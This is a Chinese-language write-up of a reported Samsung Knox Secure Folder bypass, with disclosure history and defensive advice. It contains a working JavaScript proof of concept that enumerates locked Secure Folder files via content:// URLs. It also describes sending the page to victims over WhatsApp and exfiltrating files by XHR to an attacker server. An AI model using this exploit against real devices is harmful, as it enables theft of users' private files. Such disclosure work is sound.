挖洞经验 | 绕过Samsung Knox保护读取安全文件夹存储文件
字数 1025 2025-08-15 21:32:18
绕过Samsung Knox保护读取安全文件夹存储文件的技术分析
漏洞概述
Samsung Knox是三星设备的防御级移动安全平台,通过物理手段和软件体系相结合的方式提供从硬件到应用层的全方位安全保护。本漏洞允许攻击者在安全文件夹处于锁定状态时,通过特定方法绕过保护机制,读取安全文件夹中的存储文件。
技术背景
三星多用户存储环境(MULTI-USER STORAGE)使用安全文件夹APP来加固保密文件,正常情况下:
- 内容提供商(Content Provider)无权访问安全文件夹中的文件
- 浏览器或其他APP无法访问多用户存储环境中的文件
漏洞原理
当安全文件夹处于锁定状态时,可以通过构造特定的内容URL链接,利用三星浏览器访问安全文件。访问这些文件需要在URL中包含对应的文件编号,通过JavaScript脚本可以枚举出多用户存储环境中的所有文件。
漏洞复现步骤
1. 获取多用户存储环境中的用户信息
adb shell pm list users
典型输出示例:
UserInfo{0:rahul:1} running
UserInfo{150:Secure Folder: } running
2. 构造内容URL链接
访问安全文件夹中文件的URL格式:
content://[用户ID]@media/external/file/[文件编号]
例如:
content://150@media/external/file/1002
3. 创建文件枚举HTML脚本
<html>
<body>
<script>
var scriptElement = document.createElement("script");
var i = 0;
function next(){
scriptElement.onerror = function() {
i++;
document.write('Finding');
next();
};
scriptElement.onload = function() {
foundIt();
};
scriptElement.src = "content://150@media/external/file/" + i;
document.body.appendChild(scriptElement);
}
function foundIt() {
alert(scriptElement.src);
};
// 开始枚举
next();
</script>
</body>
</html>
4. 攻击向量
- 将上述HTML文件通过WhatsApp等渠道发送给受害者
- 当受害者在三星浏览器中打开该文件时,脚本会自动枚举安全文件夹中的文件
- 发现有效文件时会弹出包含文件路径的警告框
5. 文件访问与窃取
- 在三星浏览器中直接打开获取到的内容URL链接(如
content://150@media/external/file/1002) - 可通过XHR请求将文件内容发送到攻击者控制的服务器
漏洞验证流程
- 准备并发送HTML文件给目标用户
- 构造特定的content://链接
- 成功访问安全文件夹中的文件
漏洞报送与处理
- 漏洞最初于2020年7月24日报告给三星
- 三星回应需要与内部供应商协调处理
- 漏洞发现者获得三星$3750美元奖励
防御建议
-
三星设备用户:
- 及时更新设备系统和安全补丁
- 避免在三星浏览器中打开不明HTML文件
- 对安全文件夹使用更强的认证方式
-
开发者建议:
- 加强内容提供商的访问控制
- 对跨用户文件访问实施更严格的权限检查
- 增加对文件枚举尝试的检测和阻止机制
技术总结
该漏洞利用了三星多用户存储环境的内容提供商权限设计缺陷,通过构造特定的URL和JavaScript脚本,绕过了安全文件夹的保护机制。这反映了移动设备多用户环境下权限隔离实现中的常见问题,提醒厂商需要更加严格地审查跨用户资源访问控制机制。